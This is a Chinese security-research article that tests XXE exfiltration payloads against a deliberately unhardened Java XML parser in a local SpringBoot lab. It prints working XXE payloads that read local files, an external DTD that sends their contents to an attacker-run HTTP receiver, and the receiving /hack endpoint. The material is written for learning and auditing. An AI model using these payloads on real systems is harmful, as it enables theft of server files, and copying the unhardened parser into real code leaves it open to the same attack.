Java代码审计 - XXE(附 源代码仓库地址)
本文由
创作,已纳入「FreeBuf原创奖励计划」,未授权禁止转载
本文章主要对xxe漏洞进行外带数据时,针对http外带数据所使用payload的可行性进行验证。本次实验基于SpringBoot搭建,所用jdk版本为1.8.0_202。
本次仅针对了http协议的payload进行验证,其他协议payload的验证可以基于此实验代码进一步扩展验证
相关代码仓库
0. 结论
- 需要外部实体引用:需要启动另外一台服务器,并在根目录下存放dtd文件,等待受害者发起请求。
- http协议只能外带单行文本。
1. file协议
- xml内容:在springboot中,将xml文件放在resources下
<?xml version="1.0"?>
<!DOCTYPE xdsec[
<!ENTITY s1 SYSTEM "file:///C:/Users/libin/Desktop/hello.txt" >
]>
<root>
<a>&s1;</a>
</root>
- 创建TestParseXML类用于解析xml文件
package com.example.testdemo;
import org.springframework.core.io.ClassPathResource;
import org.w3c.dom.Document;
import org.w3c.dom.Element;
import org.w3c.dom.Node;
import org.w3c.dom.NodeList;
import org.xml.sax.InputSource;
import javax.xml.parsers.DocumentBuilder;
import javax.xml.parsers.DocumentBuilderFactory;
import java.io.InputStream;
public class TestParseXML {
public static void domDemo() {
try {
// 加载XML文件,默认从resources文件下获取test.xml
ClassPathResource resource = new ClassPathResource("test.xml");
InputStream inputStream = resource.getInputStream();
DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
DocumentBuilder builder = factory.newDocumentBuilder();
Document document = builder.parse(new InputSource(inputStream));
// 解析内容并输出
Element root = document.getDocumentElement();
NodeList childNodes = root.getChildNodes();
for (int i = 0; i < childNodes.getLength(); i++) {
if (childNodes.item(i).getNodeType() == Node.ELEMENT_NODE) {
Element childElement = (Element) childNodes.item(i);
// 读取元素内容
String tagName = childElement.getTagName();
String textContent = childElement.getTextContent();
System.out.println(tagName + ": " + textContent);
}
}
} catch (Exception e) {
e.printStackTrace();
}
}
public static void main(String[] args) {
domDemo();
}
}
- 运行main函数发现可以通过xml读取文件
- 将hello.txt的内容改为多行文本,结果也能正确输出
2. http外带数据 - 内部依赖
- 新增路由 hack,用于接收数据
package com.example.testdemo;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
import javax.servlet.http.HttpServletRequest;
/**
* @Author libin
* @Date 2023/6/10
*/
@RestController
public class TestGetRequest {
@RequestMapping("/hack")
public String test(HttpServletRequest request){
try {
String data = request.getParameter("data");
System.out.println(data);
return "success";
} catch (Exception e){
e.printStackTrace();
return "error";
}
}
}
- xml数据为
<?xml version="1.0"?>
<!DOCTYPE xdsec[
<!ENTITY % s1 SYSTEM "file:///C:/Users/libin/Desktop/hello.txt" >
<!ENTITY s2 SYSTEM "http://127.0.0.1:8887/hack?data=%s1;" >
]>
<root>
<a>&s2;</a>
</root>
- 解析xml,输出结果为
a: success
;而http服务器收到的data参数为null
- 修改xml数据为
<?xml version="1.0"?>
<!DOCTYPE xdsec[
<!ENTITY % file SYSTEM "file:///C:/Users/libin/Desktop/helloSingleLine.txt">
<!ENTITY % http "<!ENTITY send SYSTEM 'http://127.0.0.1:8887/hack?data=%file;'>">
%http;
]>
<root>
<a>&send;</a>
</root>
- 重新进行解析,出现异常(下一节通过外部依赖来避免这个异常)
3. http外带数据 - 外部依赖
- 创建http.dtd文件,并在该目录下面启动http服务器(8777端口):py -3 -m http.server 8777
<!ENTITY % file SYSTEM "file:///C:/Users/libin/Desktop/helloSingleLine.txt">
<!ENTITY % http "<!ENTITY send SYSTEM 'http://127.0.0.1:8887/hack?data=%file;'>">
- 启动另外一台http服务器(8887端口),用于接收外带数据
- 构造xml
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE ANY [
<!ENTITY % dtd PUBLIC "-//OXML/XXE/EN" "http://127.0.0.1:8777/http.dtd">
%dtd;%http;
]>
<root>
<a>&send;</a>
</root>
- 解析xml,解析结果为
a: success
,观察http服务器(8887端口)输出,成功获得hello.txt的数据
- 尝试读取包含多行数据的文件,解析xml时抛出异常
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐